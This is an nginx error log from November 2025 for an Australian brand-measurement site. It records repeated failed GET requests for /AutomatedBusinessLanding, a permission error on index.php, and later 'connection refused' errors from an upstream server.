2025/11/12 08:10:16 [error] 57098#57098: *306 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 192.42.116.194, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:10:20 [error] 57098#57098: *322 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 185.246.188.74, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:10:20 [error] 57085#57085: *324 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 107.189.31.33, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:10:24 [error] 57095#57095: *334 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 185.220.101.40, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:10:33 [error] 57095#57095: *358 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 176.65.132.187, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:11:49 [error] 57094#57094: *659 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 192.42.116.183, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:11:55 [error] 57089#57089: *670 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 104.244.73.190, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:12:24 [error] 57095#57095: *751 "/home/measureyourbrand/public_html/index.php" is forbidden (13: Permission denied), client: 78.46.215.1, server: measureyourbrand.com.au, request: "GET / HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/"
2025/11/12 08:12:25 [error] 57097#57097: *757 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 185.129.61.9, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:12:31 [error] 57097#57097: *773 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 109.71.252.88, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:12:52 [error] 57097#57097: *825 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 192.42.116.216, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:13:13 [error] 57097#57097: *887 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 185.40.4.132, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:17:25 [error] 2194#2194: *10 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 192.42.116.177, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:17:30 [error] 2192#2192: *26 "/home/measureyourbrand/public_html/index.php" is forbidden (13: Permission denied), client: 78.46.190.63, server: measureyourbrand.com.au, request: "GET / HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/"
2025/11/12 08:17:30 [error] 2197#2197: *34 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 185.220.101.185, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:18:16 [error] 2188#2188: *239 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 185.40.4.20, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:18:25 [error] 2199#2199: *277 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 192.42.116.181, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:18:27 [error] 2191#2191: *290 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 45.84.107.54, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:18:56 [error] 2190#2190: *353 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 178.218.144.99, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:19:05 [error] 2188#2188: *366 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 2.58.56.93, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:19:23 [error] 2189#2189: *420 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 185.220.101.26, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:20:04 [error] 2188#2188: *547 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 45.84.107.182, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:20:09 [error] 2197#2197: *567 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 192.42.116.217, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:20:17 [error] 2199#2199: *596 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 45.84.107.54, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:20:18 [error] 2194#2194: *606 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 185.220.101.106, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:20:19 [error] 2196#2196: *608 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 185.220.101.18, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:20:56 [error] 2198#2198: *689 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 45.84.107.128, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:20:59 [error] 2196#2196: *690 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 45.84.107.54, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:42:27 [error] 24792#24792: *12 connect() failed (111: Connection refused) while connecting to upstream, client: 185.40.4.20, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:42:52 [error] 24795#24795: *128 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.200, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:42:53 [error] 24804#24804: *134 connect() failed (111: Connection refused) while connecting to upstream, client: 185.241.208.71, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:42:58 [error] 24792#24792: *164 connect() failed (111: Connection refused) while connecting to upstream, client: 107.189.2.108, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:42:59 [error] 24794#24794: *168 connect() failed (111: Connection refused) while connecting to upstream, client: 78.47.173.76, server: measureyourbrand.com.au, request: "GET / HTTP/1.1", upstream: "http://103.4.122.14:8181/", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/"
2025/11/12 08:43:30 [error] 24802#24802: *264 connect() failed (111: Connection refused) while connecting to upstream, client: 107.189.4.12, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:43:44 [error] 24805#24805: *336 connect() failed (111: Connection refused) while connecting to upstream, client: 45.84.107.76, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:43:51 [error] 24805#24805: *384 connect() failed (111: Connection refused) while connecting to upstream, client: 45.84.107.55, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:44:04 [error] 24803#24803: *429 connect() failed (111: Connection refused) while connecting to upstream, client: 80.67.167.81, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:44:15 [error] 24795#24795: *473 connect() failed (111: Connection refused) while connecting to upstream, client: 45.84.107.97, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:45:06 [error] 24800#24800: *673 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.200, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:45:09 [error] 24805#24805: *676 connect() failed (111: Connection refused) while connecting to upstream, client: 107.189.7.141, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:45:21 [error] 24798#24798: *752 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.211, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:45:21 [error] 24798#24798: *753 connect() failed (111: Connection refused) while connecting to upstream, client: 45.84.107.76, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:45:24 [error] 24805#24805: *778 connect() failed (111: Connection refused) while connecting to upstream, client: 45.84.107.55, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:45:45 [error] 24804#24804: *994 connect() failed (111: Connection refused) while connecting to upstream, client: 94.16.116.81, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:45:50 [error] 24800#24800: *1043 connect() failed (111: Connection refused) while connecting to upstream, client: 146.59.126.232, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:46:01 [error] 24801#24801: *1097 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.219, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:46:18 [error] 24802#24802: *1170 connect() failed (111: Connection refused) while connecting to upstream, client: 45.84.107.182, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:46:24 [error] 24799#24799: *1203 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.185, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:46:25 [error] 24804#24804: *1209 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.177, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:46:33 [error] 24800#24800: *1234 connect() failed (111: Connection refused) while connecting to upstream, client: 45.84.107.74, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:46:34 [error] 24792#24792: *1243 connect() failed (111: Connection refused) while connecting to upstream, client: 185.220.101.175, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:46:56 [error] 24805#24805: *1302 connect() failed (111: Connection refused) while connecting to upstream, client: 185.220.100.246, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:47:14 [error] 24803#24803: *1402 connect() failed (111: Connection refused) while connecting to upstream, client: 185.246.188.73, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:47:35 [error] 24792#24792: *1464 connect() failed (111: Connection refused) while connecting to upstream, client: 185.220.101.32, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:47:46 [error] 24805#24805: *1498 connect() failed (111: Connection refused) while connecting to upstream, client: 185.129.61.7, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:47:58 [error] 24803#24803: *1559 connect() failed (111: Connection refused) while connecting to upstream, client: 184.73.47.24, server: measureyourbrand.com.au, request: "GET /mm88%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/mm88%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx", host: "www.measureyourbrand.com.au"
2025/11/12 08:48:03 [error] 24797#24797: *1576 connect() failed (111: Connection refused) while connecting to upstream, client: 185.220.101.147, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:48:05 [error] 24805#24805: *1582 connect() failed (111: Connection refused) while connecting to upstream, client: 63.178.84.147, server: measureyourbrand.com.au, request: "GET / HTTP/1.1", upstream: "http://103.4.122.14:8181/", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/"
2025/11/12 08:48:23 [error] 24798#24798: *1625 connect() failed (111: Connection refused) while connecting to upstream, client: 45.83.104.137, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:48:42 [error] 24804#24804: *1707 connect() failed (111: Connection refused) while connecting to upstream, client: 212.95.50.77, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:48:54 [error] 24801#24801: *1772 connect() failed (111: Connection refused) while connecting to upstream, client: 45.61.184.51, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:49:08 [error] 24792#24792: *1838 connect() failed (111: Connection refused) while connecting to upstream, client: 2.58.56.220, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:49:11 [error] 24795#24795: *1851 connect() failed (111: Connection refused) while connecting to upstream, client: 185.220.101.60, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:49:14 [error] 24803#24803: *1871 connect() failed (111: Connection refused) while connecting to upstream, client: 45.148.10.111, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:49:44 [error] 24802#24802: *1975 connect() failed (111: Connection refused) while connecting to upstream, client: 185.220.101.153, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:50:07 [error] 24804#24804: *2080 connect() failed (111: Connection refused) while connecting to upstream, client: 185.220.101.109, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:50:08 [error] 24803#24803: *2087 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.182, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:50:10 [error] 24803#24803: *2093 connect() failed (111: Connection refused) while connecting to upstream, client: 185.40.4.20, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:50:16 [error] 24804#24804: *2118 connect() failed (111: Connection refused) while connecting to upstream, client: 38.135.25.97, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:50:41 [error] 24801#24801: *2205 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.208, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:50:42 [error] 24800#24800: *2212 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.199, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:51:19 [error] 24800#24800: *2348 connect() failed (111: Connection refused) while connecting to upstream, client: 2.58.56.35, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:51:26 [error] 24792#24792: *2367 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.214, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:51:43 [error] 24803#24803: *2439 connect() failed (111: Connection refused) while connecting to upstream, client: 179.43.134.19, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:51:44 [error] 24796#24796: *2443 connect() failed (111: Connection refused) while connecting to upstream, client: 185.220.101.175, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:52:37 [error] 24803#24803: *2752 connect() failed (111: Connection refused) while connecting to upstream, client: 185.220.101.143, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:52:58 [error] 24802#24802: *2851 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.199, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:53:11 [error] 24803#24803: *2916 connect() failed (111: Connection refused) while connecting to upstream, client: 128.140.41.193, server: measureyourbrand.com.au, request: "GET / HTTP/1.1", upstream: "http://103.4.122.14:8181/", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/"
2025/11/12 08:53:19 [error] 24799#24799: *2937 connect() failed (111: Connection refused) while connecting to upstream, client: 185.246.188.74, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:53:24 [error] 24796#24796: *2952 connect() failed (111: Connection refused) while connecting to upstream, client: 45.84.107.128, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:53:32 [error] 24800#24800: *2985 connect() failed (111: Connection refused) while connecting to upstream, client: 45.84.107.97, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:53:37 [error] 24799#24799: *3012 connect() failed (111: Connection refused) while connecting to upstream, client: 45.84.107.17, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:53:39 [error] 24802#24802: *3023 connect() failed (111: Connection refused) while connecting to upstream, client: 179.43.128.16, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:53:41 [error] 24804#24804: *3046 connect() failed (111: Connection refused) while connecting to upstream, client: 195.47.238.92, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:54:03 [error] 24804#24804: *3130 connect() failed (111: Connection refused) while connecting to upstream, client: 45.84.107.33, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
